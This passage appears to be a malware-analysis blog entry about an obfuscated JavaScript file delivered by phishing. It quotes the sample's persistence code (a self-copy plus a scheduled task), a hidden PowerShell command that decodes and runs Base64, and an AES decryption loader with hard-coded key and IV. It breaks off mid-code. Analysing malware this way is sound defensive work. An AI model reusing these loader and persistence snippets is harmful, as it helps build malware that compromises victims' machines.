Obfuscated JavaScript or Nothing, (Thu, Apr 9th)

I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called cbmjlzan.JS (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV s on VirusTotal[ 1 ]. The file is pretty big (10MB) and contains a copy of the AsmDB project lib[ 2 ]. The purpose is unknown. As usual with JavaScript, the file is pretty well obfuscated and contains UTF characters (supported on Windows) but, when you scrool a bit, some code is disclosed: The script is a Windows-flavor JavaScript and uses ActiveXObject, Microsoft.XMLDOM, ADODB.Stream. It copies itself and implements persistence (through a scheduled task): function FDAWE(x) { return x.split('').reverse().join(''); } var scriptName = WScript['ScriptName']; var urlName = ThreeChars(scriptName) + '.url'; var publicUrl = 'C:\\Users\\Public\\' + urlName; var copiedScript = 'C:\\Users\\Public\\Libraries\\' + scriptName; var fso = new ActiveXObject('Scripting.FileSystemObject'); if (!fso.FileExists(copiedScript)) { if (LOUU...ONIA.split('').join('') === 'YESSSSSSSS') { fso.CopyFile(scriptName, copiedScript); var shell = new ActiveXObject('WScript.Shell'); var cmd = 'cmd /c schtasks /create /sc minute /mo 15 /tn ' + scriptName + ' /tr ' + copiedScript; shell.Run(cmd); } } Three files are dropped in C:\Users\Public: Brio.png Orio.png Xrio.png These aren t pictures, they are used by the PowerShell script executed after implementing persistence: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(( __REMOVED__ '.Replace('VFHDVXDJCF',''))))) The PowerShell is even documented and has multiple purposes. First, the file Xrio.png is processed. It contains AES encrypted data: $inputBase64FilePath = C:\Users\PUBLIC\Xrio.png $aes_var = [System.Security.Cryptography.Aes]::Create() $aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=') $aes_var.IV = [System.Convert]::FromBase64String('eb8a/RvZf2ltVDo2satMKg==') $base64String = [System.IO.File]::ReadAllText($inputBase64FilePath) $encryptedBytes = [System.Convert]::FromBase64String($base64String) $memoryStream = [System.IO.MemoryStream]::new() $memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length) $memoryStream.Position = 0 # Reset the position for reading $decryptor = $aes_var.CreateDecryptor() $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read) $streamReader = New-Object System.IO.StreamReader($cryptoStream) $decryptedString = $streamReader.ReadToEnd() $cryptoS